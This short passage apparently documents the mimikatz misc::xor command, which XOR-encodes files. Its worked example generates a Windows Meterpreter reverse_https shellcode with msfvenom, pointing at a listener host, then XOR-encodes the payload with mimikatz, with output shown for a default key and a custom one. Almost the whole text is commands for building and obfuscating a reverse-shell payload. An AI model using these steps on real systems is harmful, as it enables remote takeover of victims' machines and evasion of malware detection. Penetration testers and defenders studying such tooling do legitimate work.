misc::xor performs XOR decoding/encoding on a provided file with 0x42 default key. It has the following command line arguments:
/input: the file to XOR encode/output: the file to save the results/xor: they XOR key
The following example XOR encodes a metasploit generated shellcode:
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f raw -o mimi.bin
mimikatz # misc::xor /input:mimi.bin /output:mimi-xor.bin
Input : mimi.bin
Output: mimi-xor.bin
Xor : 0x42
Opening: OK
Writing: OK
Provide an XOR encoding key:
mimikatz # misc::xor /input:mimi.bin /output:mimi-xor.bin /xor:0x40
Input : mimi.bin
Output: mimi-xor.bin
Xor : 0x40
Opening: OK
Writing: OK